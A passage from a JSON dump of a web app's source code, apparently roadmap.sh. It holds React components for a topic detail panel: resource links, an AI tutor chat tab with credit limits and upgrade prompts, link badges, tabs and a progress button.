li.textContent\n              );\n            });\n\n            if (lisWithJustLinks.length > 0) {\n              ulWithLinks = ul;\n            }\n          });\n\n          const listLinks = Array.from(ulWithLinks.querySelectorAll('li > a'))\n            .map((link, counter) => {\n              const typePattern = /@([a-z.]+)@/;\n              let linkText = link.textContent || '';\n              const linkHref = link.getAttribute('href') || '';\n              const linkType = linkText.match(typePattern)?.[1] || 'article';\n\n              linkText = linkText.replace(typePattern, '');\n\n              return {\n                id: `link-${linkHref}-${counter}`,\n                title: linkText,\n                url: linkHref,\n                type: linkType as AllowedLinkTypes,\n              };\n            })\n            .sort((a, b) => {\n              // official at the top\n              // opensource at second\n              // article at third\n              // videos at fourth\n              // rest at last\n              const order = [\n                'official',\n                'opensource',\n                'article',\n                'video',\n                'feed',\n              ];\n              return order.indexOf(a.type) - order.indexOf(b.type);\n            });\n\n          if (ulWithLinks) {\n            ulWithLinks.remove();\n          }\n\n          topicHtml = topicDom.body.innerHTML;\n          const topicHasContent = otherElems.length > 0;\n\n          setLinks(listLinks);\n          setHasContent(topicHasContent);\n          setContributionUrl(contributionUrl);\n\n          if (!topicHasContent && renderer === 'editor') {\n            setActiveTab('ai');\n          }\n        } else {\n          setLinks((response as RoadmapContentDocument)?.links || []);\n          setTopicTitle((response as RoadmapContentDocument)?.title || '');\n\n          const sanitizedMarkdown = sanitizeMarkdown(\n            (response as RoadmapContentDocument).description || '',\n          );\n\n          setHasContent(sanitizedMarkdown?.length > 0);\n          topicHtml = markdownToHtml(sanitizedMarkdown, false);\n        }\n\n        setIsTopicLoading(false);\n        setTopicHtml(topicHtml);\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsTopicLoading(false);\n      });\n  });\n\n  useEffect(() => {\n    if (isActive) {\n      lockBodyScroll(true);\n      topicRef?.current?.focus();\n    }\n  }, [isActive]);\n\n  if (!isActive) {\n    return null;\n  }\n\n  const paidResourcesForTopic = paidResources.filter((resource) => {\n    const normalizedTopicId =\n      topicId.indexOf('@') !== -1 ? topicId.split('@')[1] : topicId;\n    return resource.topicIds.includes(normalizedTopicId);\n  });\n\n  const shouldShowAiTab = !isCustomResource && resourceType === 'roadmap';\n  const subjects = roadmapTreeMapping?.subjects || [];\n  const guides = roadmapTreeMapping?.guides || [];\n  const hasSubjects = subjects.length > 0;\n  const hasGuides = guides.length > 0;\n\n  const hasDataCampResources = paidResources.some((resource) =>\n    resource.title.toLowerCase().includes('datacamp'),\n  );\n\n  return (\n    <div className={cn('relative z-92', wrapperClassName)}>\n      <div\n        ref={topicRef}\n        tabIndex={0}\n        className={cn(\n          'fixed top-0 right-0 z-40 flex h-screen w-full flex-col overflow-y-auto bg-white p-4 focus:outline-0 sm:max-w-[600px] sm:p-6',\n          bodyClassName,\n        )}\n      >\n        {showUpgradeModal && (\n          <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n        )}\n\n        {showSubjectSearchModal && (\n          <CreateCourseModal onClose={() => setShowSubjectSearchModal(false)} />\n        )}\n\n        {isLoading && (\n          <div className=\"flex h-full w-full justify-center\">\n            <Spinner\n              outerFill=\"#d1d5db\"\n              className=\"h-6 w-6 sm:h-8 sm:w-8\"\n              innerFill=\"#2563eb\"\n              isDualRing={false}\n            />\n          </div>\n        )}\n\n        {!isContributing && !isLoading && !error && (\n          <>\n            <div\n              className={cn('flex-1', {\n                'flex flex-col': activeTab === 'ai',\n              })}\n            >\n              <div className=\"flex justify-between\">\n                {shouldShowAiTab && (\n                  <TopicDetailsTabs\n                    activeTab={activeTab}\n                    setActiveTab={setActiveTab}\n                    hasAITutor={renderer === 'editor'}\n                  />\n                )}\n                <div\n                  className={cn('flex flex-grow justify-end gap-1', {\n                    'justify-between': !shouldShowAiTab,\n                  })}\n                >\n                  {!isEmbed && (\n                    <TopicProgressButton\n                      topicId={\n                        topicId.indexOf('@') !== -1\n                          ? topicId.split('@')[1]\n                          : topicId\n                      }\n                      dropdownClassName={\n                        !shouldShowAiTab ? 'left-0' : 'right-0'\n                      }\n                      resourceId={resourceId}\n                      resourceType={resourceType}\n                      onClose={() => null}\n                    />\n                  )}\n                  <button\n                    type=\"button\"\n                    id=\"close-topic\"\n                    className={cn(\n                      'flex items-center gap-1.5 rounded-lg bg-gray-200 px-1.5 py-1 text-xs text-black hover:bg-gray-300 hover:text-gray-900',\n                      closeButtonClassName,\n                    )}\n                    onClick={handleClose}\n                  >\n                    <X className=\"size-4\" />\n                  </button>\n                </div>\n              </div>\n\n              {activeTab === 'ai' && shouldShowAiTab && (\n                <TopicDetailAI\n                  resourceId={resourceId}\n                  resourceType={resourceType}\n                  topicId={topicId}\n                  messages={messages}\n                  setMessages={setMessages}\n                  status={status}\n                  sendMessage={sendMessage}\n                  hasUpgradeButtons={hasUpgradeButtons}\n                  onUpgrade={() => setShowUpgradeModal(true)}\n                  onLogin={() => {\n                    handleClose();\n                    showLoginPopup();\n                  }}\n                  onShowSubjectSearchModal={() => {\n                    if (!isLoggedIn()) {\n                      showLoginPopup();\n                      return;\n                    }\n\n                    setShowSubjectSearchModal(true);\n                  }}\n                />\n              )}\n\n              {activeTab === 'content' && (\n                <>\n                  {hasContent ? (\n                    <>\n                      <div className=\"prose prose-quoteless prose-h1:mb-2.5 prose-h1:mt-7 prose-h1:text-balance prose-h2:mb-3 prose-h2:mt-0 prose-h3:mb-[5px] prose-h3:mt-[10px] prose-p:mb-2 prose-p:mt-0 prose-blockquote:font-normal prose-blockquote:not-italic prose-blockquote:text-gray-700 prose-li:m-0 prose-li:mb-0.5\">\n                        {topicTitle && <h1>{topicTitle}</h1>}\n                        <div\n                          id=\"topic-content\"\n                          dangerouslySetInnerHTML={{ __html: topicHtml }}\n                        />\n                      </div>\n                    </>\n                  ) : (\n                    <>\n                      {!canSubmitContribution && (\n                        <div className=\"flex h-[calc(100%-38px)] flex-col items-center justify-center\">\n                          <FileText className=\"h-16 w-16 text-gray-300\" />\n                          <p className=\"mt-2 text-lg font-medium text-gray-500\">\n                            Empty Content\n                          </p>\n                        </div>\n                      )}\n                      {canSubmitContribution && (\n                        <div className=\"mx-auto flex h-[calc(100%-38px)] max-w-[400px] flex-col items-center justify-center text-center\">\n                          <HeartHandshake className=\"mb-2 h-16 w-16 text-gray-300\" />\n                          <p className=\"text-lg font-semibold text-gray-900\">\n                            Help us write this content\n                          </p>\n                          <p className=\"mt-2 mb-3 text-sm text-gray-500\">\n                            Write a brief introduction to this topic and submit\n                            a link to a good article, podcast, video, or any\n                            other self-vetted resource that helped you\n                            understand this topic better.\n                          </p>\n                          <a\n                            href={contributionUrl}\n                            target={'_blank'}\n                            className=\"flex w-full items-center justify-center rounded-md bg-gray-800 p-2 text-sm text-white transition-colors hover:bg-black hover:text-white disabled:bg-green-200 disabled:text-black\"\n                          >\n                            <GitHubIcon className=\"mr-2 inline-block h-4 w-4 text-white\" />\n                            Help us Write this Content\n                          </a>\n                        </div>\n                      )}\n                    </>\n                  )}\n\n                  {resourceId === 'ai-data-scientist' &&\n                    hasDataCampResources && (\n                      <div className=\"mt-5 rounded-md bg-yellow-100 px-4 py-3 text-sm text-gray-600\">\n                        <p className=\"text-balance\">\n                          Follow the resources listed on the roadmap or check\n                          out the premium courses by DataCamp listed below.\n                        </p>\n\n                        <p className=\"mt-3 text-balance\">\n                          They also have an{' '}\n                          <a\n                            href=\"https://datacamp.pxf.io/POk5PY\"\n                            className=\"font-medium text-blue-600 underline hover:text-blue-800\"\n                            target=\"_blank\"\n                          >\n                            Associate Data Scientist in Python\n                          </a>{' '}\n                          track that covers all the key data scientist skills in\n                          one place.\n                        </p>\n                      </div>\n                    )}\n\n                  {links.length > 0 && (\n                    <>\n                      <ResourceListSeparator\n                        text=\"Free Resources\"\n                        className=\"text-green-600\"\n                        icon={HeartHandshake}\n                      />\n                      <ul className=\"mt-4 ml-3 space-y-1\">\n                        {links.map((link) => {\n                          return (\n                            <li key={link.id}>\n                              <TopicDetailLink\n                                url={link.url}\n                                type={link.type}\n                                title={link.title}\n                                onClick={() => {\n                                  // if it is one of our roadmaps, we want to track the click\n                                  if (canSubmitContribution) {\n                                    const parsedUrl = parseUrl(link.url);\n\n                                    window.fireEvent({\n                                      category: 'TopicResourceClick',\n                                      action: `Click: ${parsedUrl.hostname}`,\n                                      label: `${resourceType} / ${resourceId} / ${topicId} / ${link.url}`,\n                                    });\n                                  }\n                                }}\n                              />\n                            </li>\n                          );\n                        })}\n                      </ul>\n                    </>\n                  )}\n\n                  {(hasSubjects || hasGuides) && (\n                    <>\n                      <ResourceListSeparator\n                        text=\"Your personalized AI tutor\"\n                        className=\"text-blue-600\"\n                        icon={Zap}\n                      />\n                      <ul className=\"mt-4 ml-3 flex flex-col flex-wrap gap-1 text-sm\">\n                        {subjects.map((subject) => {\n                          return (\n                            <li key={subject}>\n                              <TopicDetailLink\n                                url={`/ai/course/search?term=${subject}&src=topic`}\n                                type=\"course\"\n                                title={subject}\n                                onClick={(e) => {\n                                  if (!isLoggedIn()) {\n                                    e.preventDefault();\n                                    showLoginPopup();\n                                    return;\n                                  }\n\n                                  if (isLimitExceeded && !isPaidUser) {\n                                    e.preventDefault();\n                                    setShowUpgradeModal(true);\n                                    return;\n                                  }\n                                }}\n                              />\n                            </li>\n                          );\n                        })}\n                        {guides.map((guide) => {\n                          return (\n                            <li key={guide}>\n                              <TopicDetailLink\n                                url={`/ai/guide/search?term=${guide}&src=topic`}\n                                type=\"article\"\n                                title={guide}\n                                onClick={(e) => {\n                                  if (!isLoggedIn()) {\n                                    e.preventDefault();\n                                    showLoginPopup();\n                                    return;\n                                  }\n\n                                  if (isLimitExceeded && !isPaidUser) {\n                                    e.preventDefault();\n                                    setShowUpgradeModal(true);\n                                    return;\n                                  }\n                                }}\n                              />\n                            </li>\n                          );\n                        })}\n                      </ul>\n                    </>\n                  )}\n\n                  {paidResourcesForTopic.length > 0 && (\n                    <>\n                      <ResourceListSeparator\n                        text=\"Premium Resources\"\n                        icon={Star}\n                      />\n\n                      <ul className=\"mt-3 ml-3 space-y-1\">\n                        {paidResourcesForTopic.map((resource) => {\n                          return (\n                            <li key={resource._id}>\n                              <TopicDetailLink\n                                url={resource.url}\n                                type={resource.type as any}\n                                title={resource.title}\n                                isPaid={true}\n                              />\n                            </li>\n                          );\n                        })}\n                      </ul>\n\n                      {showPaidResourceDisclaimer && (\n                        <PaidResourceDisclaimer\n                          onClose={() => {\n                            localStorage.setItem(\n                              PAID_RESOURCE_DISCLAIMER_HIDDEN,\n                              'true',\n                            );\n                            setShowPaidResourceDisclaimer(false);\n                          }}\n                        />\n                      )}\n                    </>\n                  )}\n                </>\n              )}\n            </div>\n\n            {canSubmitContribution &&\n              contributionUrl &&\n              activeTab === 'content' &&\n              hasContent && (\n                <div className=\"mt-4\">\n                  <a\n                    href={contributionUrl}\n                    target=\"_blank\"\n                    className=\"hidden items-center justify-center rounded-md px-2 py-2 text-sm transition-all hover:bg-gray-200 sm:flex\"\n                  >\n                    <GitHubIcon className=\"mr-2 inline-block h-4 w-4 text-current\" />\n                    Help us add resources to this topic\n                  </a>\n                </div>\n              )}\n          </>\n        )}\n\n        {!isContributing && !isLoading && error && (\n          <>\n            <button\n              type=\"button\"\n              id=\"close-topic\"\n              className=\"absolute top-2.5 right-2.5 inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:bg-gray-200 hover:text-gray-900\"\n              onClick={() => {\n                handleClose();\n              }}\n            >\n              <X className=\"h-5 w-5\" />\n            </button>\n            <div className=\"flex h-full flex-col items-center justify-center\">\n              <Ban className=\"h-16 w-16 text-red-500\" />\n              <p className=\"mt-2 text-lg font-medium text-red-500\">{error}</p>\n            </div>\n          </>\n        )}\n      </div>\n      <div\n        className={cn('fixed inset-0 z-30 bg-gray-900/50', overlayClassName)}\n      ></div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/TopicDetailAI.tsx",
    "content": "import '../ChatMessages/AIChat.css';\n\nimport { useQuery } from '@tanstack/react-query';\nimport {\n  BookOpenIcon,\n  BotIcon,\n  ChevronRightIcon,\n  FileTextIcon,\n  Gift,\n  Loader2Icon,\n  LockIcon,\n  SendIcon,\n  Trash2,\n  WandSparkles,\n} from 'lucide-react';\nimport { useEffect, useRef, useState } from 'react';\nimport TextareaAutosize from 'react-textarea-autosize';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { getPercentage } from '../../lib/number';\nimport { showLoginPopup } from '../../lib/popup';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\nimport { AILimitsPopup } from '../GenerateCourse/AILimitsPopup';\nimport { PredefinedActions } from './PredefinedActions';\nimport type { ChatStatus, UIMessage } from 'ai';\nimport type { UseChatHelpers } from '@ai-sdk/react';\nimport { useAIChatScroll } from '../../hooks/use-ai-chat-scroll';\nimport { TopicChatMessages } from '../ChatMessages/TopicChatMessages';\n\ntype TopicDetailAIProps = {\n  resourceId: string;\n  resourceType: ResourceType;\n  topicId: string;\n\n  hasUpgradeButtons?: boolean;\n\n  messages: UIMessage[];\n  sendMessage: UseChatHelpers<UIMessage>['sendMessage'];\n  setMessages: UseChatHelpers<UIMessage>['setMessages'];\n  status: ChatStatus;\n\n  onUpgrade: () => void;\n  onLogin: () => void;\n\n  onShowSubjectSearchModal: () => void;\n};\n\nexport function TopicDetailAI(props: TopicDetailAIProps) {\n  const {\n    messages,\n    sendMessage,\n    setMessages,\n    status,\n\n    resourceId,\n    resourceType,\n    topicId,\n    hasUpgradeButtons = true,\n    onUpgrade,\n    onLogin,\n    onShowSubjectSearchModal,\n  } = props;\n\n  const textareaRef = useRef<HTMLTextAreaElement>(null);\n  const formRef = useRef<HTMLFormElement>(null);\n\n  const sanitizedTopicId = topicId?.includes('@')\n    ? topicId?.split('@')?.[1]\n    : topicId;\n\n  const toast = useToast();\n  const [message, setMessage] = useState('');\n  const [showAILimitsPopup, setShowAILimitsPopup] = useState(false);\n  const { data: tokenUsage, isLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const { data: roadmapTreeMapping, isLoading: isRoadmapTreeMappingLoading } =\n    useQuery(\n      {\n        ...roadmapTreeMappingOptions(resourceId),\n        select: (data) => {\n          const node = data.find(\n            (mapping) => mapping.nodeId === sanitizedTopicId,\n          );\n          return node;\n        },\n      },\n      queryClient,\n    );\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const handleChatSubmit = (overrideMessage?: string) => {\n    const trimmedMessage = (overrideMessage ?? message).trim();\n\n    if (\n      !trimmedMessage ||\n      status !== 'ready' ||\n      !isLoggedIn() ||\n      isLimitExceeded ||\n      isLoading\n    ) {\n      return;\n    }\n\n    sendMessage(\n      {\n        text: trimmedMessage,\n      },\n      {\n        body: {\n          resourceId,\n          resourceType,\n          topicId: sanitizedTopicId,\n        },\n      },\n    );\n\n    setMessage('');\n    setTimeout(() => {\n      scrollToBottom();\n      textareaRef.current?.focus();\n    }, 0);\n  };\n\n  const { scrollToBottom, scrollableContainerRef, showScrollToBottomButton } =\n    useAIChatScroll({\n      messages,\n    });\n\n  useEffect(() => {\n    scrollToBottom();\n  }, []);\n\n  const isDataLoading =\n    isLoading || isBillingDetailsLoading || isRoadmapTreeMappingLoading;\n  const usagePercentage = getPercentage(\n    tokenUsage?.used || 0,\n    tokenUsage?.limit || 0,\n  );\n  const hasChatHistory = messages.length > 0;\n  const nodeTextParts = roadmapTreeMapping?.text?.split('>') || [];\n\n  const subjects = roadmapTreeMapping?.subjects || [];\n  const guides = roadmapTreeMapping?.guides || [];\n  const hasGuides = guides.length > 0;\n  const hasSubjects = subjects.length > 0 || nodeTextParts.length > 1;\n\n  return (\n    <div className=\"ai-chat relative mt-4 flex grow flex-col overflow-hidden rounded-lg border border-gray-200\">\n      {isDataLoading && (\n        <div className=\"absolute inset-0 z-20 flex items-center justify-center gap-2 bg-white text-black\">\n          <Loader2Icon className=\"size-8 animate-spin stroke-3 text-gray-500\" />\n        </div>\n      )}\n\n      {showAILimitsPopup && (\n        <AILimitsPopup\n          onClose={() => setShowAILimitsPopup(false)}\n          onUpgrade={() => {\n            setShowAILimitsPopup(false);\n            onUpgrade();\n          }}\n        />\n      )}\n\n      {(hasSubjects || hasGuides) && (\n        <div className=\"border-b border-gray-200 p-3\">\n          <h4 className=\"flex items-center gap-2 text-sm\">\n            Complete the following AI Tutor courses or guides\n          </h4>\n\n          <div className=\"mt-2.5 flex flex-wrap gap-1 text-sm\">\n            {subjects.map((subject) => {\n              return (\n                <a\n                  key={subject}\n                  target=\"_blank\"\n                  onClick={(e) => {\n                    if (!isLoggedIn()) {\n                      e.preventDefault();\n                      onLogin();\n                      return;\n                    }\n\n                    if (isLimitExceeded) {\n                      e.preventDefault();\n                      onUpgrade();\n                      return;\n                    }\n                  }}\n                  href={`/ai/course/search?term=${subject}&src=topic`}\n                  className=\"flex items-center gap-1.5 rounded-md border border-gray-300 bg-gray-100 px-2 py-1 hover:bg-gray-200 hover:text-black\"\n                >\n                  <BookOpenIcon className=\"size-3.5\" />\n                  {subject}\n                </a>\n              );\n            })}\n            {guides.map((guide) => {\n              return (\n                <a\n                  key={guide}\n                  target=\"_blank\"\n                  onClick={(e) => {\n                    if (!isLoggedIn()) {\n                      e.preventDefault();\n                      onLogin();\n                      return;\n                    }\n\n                    if (isLimitExceeded) {\n                      e.preventDefault();\n                      onUpgrade();\n                      return;\n                    }\n                  }}\n                  href={`/ai/guide/search?term=${guide}&src=topic`}\n                  className=\"flex items-center gap-1.5 rounded-md border border-gray-300 bg-gray-100 px-2 py-1 hover:bg-gray-200 hover:text-black\"\n                >\n                  <FileTextIcon className=\"size-3.5\" />\n                  {guide}\n                </a>\n              );\n            })}\n\n            {subjects.length === 0 && (\n              <a\n                target=\"_blank\"\n                onClick={(e) => {\n                  if (!isLoggedIn()) {\n                    e.preventDefault();\n                    onLogin();\n                    return;\n                  }\n\n                  if (isLimitExceeded) {\n                    e.preventDefault();\n                    onUpgrade();\n                    return;\n                  }\n                }}\n                href={`/ai/course/search?term=${roadmapTreeMapping?.text}&difficulty=beginner&src=topic`}\n                className=\"flex items-center gap-1 rounded-md border border-gray-300 bg-gray-100 px-2 py-1 hover:bg-gray-200 hover:text-black [&>svg:last-child]:hidden\"\n              >\n                {nodeTextParts.slice(-2).map((text, index) => {\n                  return (\n                    <>\n                      <span key={text} className=\"flex items-center\">\n                        {text}\n                      </span>\n\n                      <ChevronRightIcon className=\"h-3 w-3 text-gray-400\" />\n                    </>\n                  );\n                })}\n              </a>\n            )}\n\n            <button\n              onClick={onShowSubjectSearchModal}\n              className=\"flex items-center gap-1.5 rounded-md border border-dashed border-gray-300 bg-transparent px-2 py-1 text-gray-400 hover:border-solid hover:bg-gray-200 hover:text-black\"\n            >\n              <WandSparkles className=\"h-3 w-3\" />\n              Learn another topic\n            </button>\n          </div>\n        </div>\n      )}\n\n      <div\n        className={cn(\n          'flex min-h-[46px] items-center justify-between gap-2 border-gray-200 px-3 py-2 text-sm',\n        )}\n      >\n        {hasSubjects && (\n          <span className=\"flex items-center gap-2 text-sm\">\n            <BotIcon\n              className=\"relative -top-[1px] size-4 shrink-0 text-black\"\n              strokeWidth={2.5}\n            />\n            <span className=\"hidden sm:block\">Chat with AI</span>\n            <span className=\"block sm:hidden\">AI Tutor</span>\n          </span>\n        )}\n\n        {!hasSubjects && (\n          <h4 className=\"flex items-center gap-2 text-base font-medium\">\n            <BotIcon\n              className=\"relative -top-[1px] size-5 shrink-0 text-black\"\n              strokeWidth={2.5}\n            />\n            AI Tutor\n          </h4>\n        )}\n\n        {!isDataLoading && (\n          <div className=\"flex gap-1.5\">\n            {hasChatHistory && (\n              <button\n                className=\"rounded-md bg-white px-2 py-2 text-xs font-medium text-black hover:bg-gray-200\"\n                onClick={() => {\n                  setMessages([]);\n                }}\n              >\n                <Trash2 className=\"size-3.5\" />\n              </button>\n            )}\n\n            {!isPaidUser && hasUpgradeButtons && (\n              <>\n                <button\n                  className=\"hidden rounded-md bg-gray-200 px-2 py-1 text-sm hover:bg-gray-300 sm:block\"\n                  onClick={() => {\n                    if (!isLoggedIn()) {\n                      onLogin();\n                      return;\n                    }\n\n                    setShowAILimitsPopup(true);\n                  }}\n                >\n                  <span className=\"font-medium\">{usagePercentage}%</span>{' '}\n                  credits used\n                </button>\n                <button\n                  className=\"flex items-center gap-1 rounded-md bg-yellow-400 px-2 py-1 text-sm text-black hover:bg-yellow-500\"\n                  onClick={() => {\n                    if (!isLoggedIn()) {\n                      onLogin();\n                      return;\n                    }\n\n                    onUpgrade();\n                  }}\n                >\n                  <Gift className=\"size-4\" />\n                  Upgrade\n                </button>\n              </>\n            )}\n          </div>\n        )}\n      </div>\n\n      <PredefinedActions\n        onSelect={(action) => {\n          if (!isLoggedIn()) {\n            onLogin();\n            return;\n          }\n\n          if (isLimitExceeded) {\n            onUpgrade();\n            return;\n          }\n\n          if (!action?.prompt) {\n            toast.error('Something went wrong');\n            return;\n          }\n\n          setMessage(action.prompt);\n          handleChatSubmit(action.prompt);\n        }}\n      />\n\n      <div\n        className=\"scrollbar-thumb-gray-300 scrollbar-track-transparent scrollbar-thin relative grow overflow-y-auto\"\n        ref={scrollableContainerRef}\n      >\n        <TopicChatMessages messages={messages} status={status} />\n      </div>\n\n      <form\n        ref={formRef}\n        className=\"relative flex items-start border-t border-gray-200 text-sm\"\n        onSubmit={(e) => {\n          e.preventDefault();\n          handleChatSubmit();\n        }}\n      >\n        {isLimitExceeded && isLoggedIn() && (\n          <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n            <LockIcon className=\"size-4 cursor-not-allowed\" strokeWidth={2.5} />\n            <p className=\"cursor-not-allowed\">\n              Limit reached for today\n              {isPaidUser ? '. Please wait until tomorrow.' : ''}\n            </p>\n            {!isPaidUser && (\n              <button\n                onClick={onUpgrade}\n                className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n              >\n                Upgrade for more\n              </button>\n            )}\n          </div>\n        )}\n\n        {!isLoggedIn() && (\n          <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n            <LockIcon className=\"size-4 cursor-not-allowed\" strokeWidth={2.5} />\n            <p className=\"cursor-not-allowed\">Please login to continue</p>\n            <button\n              onClick={() => {\n                showLoginPopup();\n              }}\n              className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n            >\n              Login / Register\n            </button>\n          </div>\n        )}\n\n        {isDataLoading && (\n          <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n            <Loader2Icon className=\"size-4 animate-spin\" />\n            <p>Loading...</p>\n          </div>\n        )}\n\n        <TextareaAutosize\n          className={cn(\n            'h-full min-h-[41px] grow resize-none bg-transparent px-4 py-2 focus:outline-hidden',\n          )}\n          placeholder=\"Ask AI anything about the lesson...\"\n          value={message}\n          onChange={(e) => setMessage(e.target.value)}\n          autoFocus={true}\n          onKeyDown={(e) => {\n            if (e.key === 'Enter' && !e.shiftKey) {\n              e.preventDefault();\n              handleChatSubmit();\n            }\n          }}\n          ref={textareaRef}\n        />\n        <button\n          type=\"submit\"\n          disabled={status !== 'ready' || isLimitExceeded}\n          className=\"flex aspect-square size-[41px] items-center justify-center text-zinc-500 hover:text-black disabled:cursor-not-allowed disabled:opacity-50\"\n        >\n          <SendIcon className=\"size-4 stroke-[2.5]\" />\n        </button>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/TopicDetailLink.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\nimport type { AllowedLinkTypes } from '../CustomRoadmap/CustomRoadmap.tsx';\n\nconst linkTypes: Record<AllowedLinkTypes | string, string> = {\n  article: 'bg-yellow-300',\n  course: 'bg-green-400',\n  opensource: 'bg-black text-white',\n  'roadmap.sh': 'bg-black text-white',\n  roadmap: 'bg-black text-white',\n  podcast: 'bg-purple-300',\n  video: 'bg-purple-300',\n  website: 'bg-blue-300',\n  official: 'bg-blue-600 text-white',\n  feed: 'bg-[#ce3df3] text-white',\n};\n\nconst paidLinkTypes: Record<string, string> = {\n  course: 'bg-yellow-300',\n};\n\ntype TopicLinkBadgeProps = {\n  isPaid: boolean;\n  discountText?: string;\n  type: AllowedLinkTypes | string;\n  className?: string;\n};\n\nfunction TopicLinkBadge(props: TopicLinkBadgeProps) {\n  const { isPaid, type, className } = props;\n\n  const linkType = type === 'opensource' ? 'OpenSource' : type;\n  const isDiscount = type.includes('% off');\n\n  return (\n    <span className={cn('mr-2', className)}>\n      <span\n        className={cn(\n          'inline-block rounded-sm px-1.5 py-0.5 text-xs capitalize no-underline',\n          (isPaid ? paidLinkTypes[type] : linkTypes[type]) || 'bg-gray-200',\n          isDiscount && 'bg-green-300',\n        )}\n      >\n        {linkType}\n      </span>\n    </span>\n  );\n}\n\ntype TopicDetailLinkProps = {\n  url: string;\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n  type: AllowedLinkTypes;\n  title: string;\n  isPaid?: boolean;\n};\n\nexport function TopicDetailLink(props: TopicDetailLinkProps) {\n  const { url, onClick, type, title, isPaid = false } = props;\n\n  const isScrimbaLink = url.toLowerCase().includes('scrimba.com');\n\n  return (\n    <a\n      href={url}\n      target=\"_blank\"\n      className=\"group font-medium text-gray-800 underline underline-offset-1 hover:text-black\"\n      onClick={onClick}\n    >\n      <TopicLinkBadge\n        isPaid={isPaid}\n        type={type}\n        discountText={isScrimbaLink ? '20% off' : undefined}\n        className={isScrimbaLink ? 'mr-1' : 'mr-2'}\n      />\n      {isScrimbaLink && <TopicLinkBadge isPaid={isPaid} type=\"20% off\" />}\n\n      {title}\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/TopicDetailsTabs.tsx",
    "content": "import { Earth, WandSparkles, type LucideIcon } from 'lucide-react';\n\nexport type AllowedTopicDetailsTabs = 'content' | 'ai';\n\ntype TopicDetailsTabsProps = {\n  activeTab: AllowedTopicDetailsTabs;\n  setActiveTab: (tab: AllowedTopicDetailsTabs) => void;\n  hasAITutor?: boolean;\n};\n\nexport function TopicDetailsTabs(props: TopicDetailsTabsProps) {\n  const { activeTab, setActiveTab, hasAITutor = true } = props;\n\n  return (\n    <div className=\"flex w-max gap-1.5\">\n      <TopicDetailsTab\n        isActive={activeTab === 'content'}\n        icon={Earth}\n        label=\"Resources\"\n        onClick={() => setActiveTab('content')}\n      />\n      <TopicDetailsTab\n        isActive={activeTab === 'ai'}\n        icon={WandSparkles}\n        label=\"AI Tutor\"\n        isNew={true}\n        isDisabled={!hasAITutor}\n        onClick={() => setActiveTab('ai')}\n      />\n    </div>\n  );\n}\n\ntype TopicDetailsTabProps = {\n  isActive: boolean;\n  icon: LucideIcon;\n  label: string;\n  isNew?: boolean;\n  isDisabled?: boolean;\n  onClick: () => void;\n};\n\nfunction TopicDetailsTab(props: TopicDetailsTabProps) {\n  const { isActive, icon: Icon, label, isNew, isDisabled, onClick } = props;\n\n  return (\n    <button\n      className=\"flex select-none disabled:pointer-events-none items-center gap-2 rounded-md border border-gray-300 px-2 py-1 text-sm text-gray-500 hover:border-gray-400 data-[state=active]:border-black data-[state=active]:bg-black data-[state=active]:text-white\"\n      data-state={isActive ? 'active' : 'inactive'}\n      onClick={onClick}\n      disabled={isDisabled}\n      type=\"button\"\n    >\n      <Icon className=\"h-4 w-4\" />\n      <span className=\"hidden sm:block\">{label}</span>\n      {isNew && !isDisabled && (\n        <span className=\"hidden rounded-sm bg-yellow-400 px-1 text-xs text-black 2xl:block\">\n          New\n        </span>\n      )}\n      {isDisabled && (\n        <span className=\"hidden rounded-sm bg-gray-400 px-1 text-xs text-white sm:block\">\n          Soon\n        </span>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/TopicDetail/TopicProgressButton.tsx",
    "content": "import { useEffect, useMemo, useRef, useState } from 'react';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { isLoggedIn } from '../../lib/jwt';\nimport {\n  getTopicStatus,\n  refreshProgressCounters,\n  renderTopicProgress,\n  updateResourceProgress,\n} from '../../lib/resource-progress';\nimport type {\n  ResourceProgressType,\n  ResourceType,\n} from '../../lib/resource-progress';\nimport { showLoginPopup } from '../../lib/popup';\nimport { useToast } from '../../hooks/use-toast';\nimport { ChevronDown, Loader2 } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { queryClient } from '../../stores/query-client';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\n\nconst statusColors: Record<ResourceProgressType, string> = {\n  done: 'bg-green-500',\n  learning: 'bg-yellow-500',\n  pending: 'bg-gray-300',\n  skipped: 'bg-black',\n  removed: '',\n};\n\ntype TopicProgressButtonProps = {\n  topicId: string;\n  resourceId: string;\n  resourceType: ResourceType;\n  dropdownClassName?: string;\n\n  onClose: () => void;\n};\n\ntype ProgressDropdownItemProps = {\n  status: ResourceProgressType;\n  shortcutKey: string;\n  label: string;\n  onClick: () => void;\n};\n\nfunction ProgressDropdownItem(props: ProgressDropdownItemProps) {\n  const { status, shortcutKey, label, onClick } = props;\n\n  return (\n    <button\n      className=\"inline-flex justify-between 